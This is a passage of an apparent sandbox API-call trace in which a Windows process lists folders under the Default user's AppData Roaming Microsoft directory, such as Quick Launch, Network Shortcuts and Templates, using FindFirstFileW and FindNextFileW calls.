ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f3f10 [0219.726] FindNextFileW (in: hFindFile=0x1d1f3f10, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.727] FindNextFileW (in: hFindFile=0x1d1f3f10, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0219.727] FindNextFileW (in: hFindFile=0x1d1f3f10, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.727] FindClose (in: hFindFile=0x1d1f3f10 | out: hFindFile=0x1d1f3f10) returned 1 [0219.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.727] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0219.727] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f42d0 [0219.728] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.728] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf6600cb, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.728] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="")) returned 1 [0219.728] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 1 [0219.728] FindNextFileW (in: hFindFile=0x1d1f42d0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.729] FindClose (in: hFindFile=0x1d1f42d0 | out: hFindFile=0x1d1f42d0) returned 1 [0219.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.729] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.729] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch", lpFilePart=0x0) returned 0x49 [0219.729] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f40f0 [0219.729] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xf6600cb, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xf6600cb, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.729] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf6600cb, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x9ee52126, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x94, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.730] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x251fff9e, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x251fff9e, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shows Desktop.lnk", cAlternateFileName="")) returned 1 [0219.730] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 1 [0219.730] FindNextFileW (in: hFindFile=0x1d1f40f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x252261fd, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x252261fd, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x14e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Window Switcher.lnk", cAlternateFileName="")) returned 0 [0219.730] FindClose (in: hFindFile=0x1d1f40f0 | out: hFindFile=0x1d1f40f0) returned 1 [0219.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.730] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.825] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x32 [0219.825] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5470 [0219.827] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.827] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0219.827] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0219.827] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0219.828] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0219.828] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0219.853] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0219.853] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0219.853] FindClose (in: hFindFile=0x1d1f5470 | out: hFindFile=0x1d1f5470) returned 1 [0219.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9d070) returned 1 [0219.854] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", nBufferLength=0x105, lpBuffer=0x1db9cb50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows", lpFilePart=0x0) returned 0x32 [0219.854] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\*"), lpFindFileData=0x1db9cd80 | out: lpFindFileData=0x1db9cd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4cf0 [0219.855] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.855] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network Shortcuts", cAlternateFileName="NETWOR~1")) returned 1 [0219.855] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Printer Shortcuts", cAlternateFileName="PRINTE~1")) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0x37a4145, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0x37a4145, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0219.856] FindNextFileW (in: hFindFile=0x1d1f4cf0, lpFindFileData=0x1db9cd40 | out: lpFindFileData=0x1db9cd40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.856] FindClose (in: hFindFile=0x1d1f4cf0 | out: hFindFile=0x1d1f4cf0) returned 1 [0219.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cfa0) returned 1 [0219.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9cf60) returned 1 [0219.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.857] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x44 [0219.858] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f46f0 [0219.860] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.861] FindNextFileW (in: hFindFile=0x1d1f46f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.861] FindClose (in: hFindFile=0x1d1f46f0 | out: hFindFile=0x1d1f46f0) returned 1 [0219.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7e0) returned 1 [0219.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9c7a0) returned 1 [0219.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9c8b0) returned 1 [0219.861] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", nBufferLength=0x105, lpBuffer=0x1db9c390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts", lpFilePart=0x0) returned 0x44 [0219.861] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Windows\\Network Shortcuts\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\windows\\network shortcuts\\*"), lpFindFileData=0x1db9c5c0 | out: lpFindFileData=0x1db9c5c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f52f0 [0219.861] FindNextFileW (in: hFindFile=0x1d1f52f0, lpFindFileData=0x1db9c580 | out: lpFindFileData=0x1db9c580*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9eaaa, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xd9eaaa, ftLastAccessTime.dwHighDateTime=0x1d112e4, ftLastWriteTime.dwLowDateTime=0xd9eaaa, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.862] FindNextFileW (in: 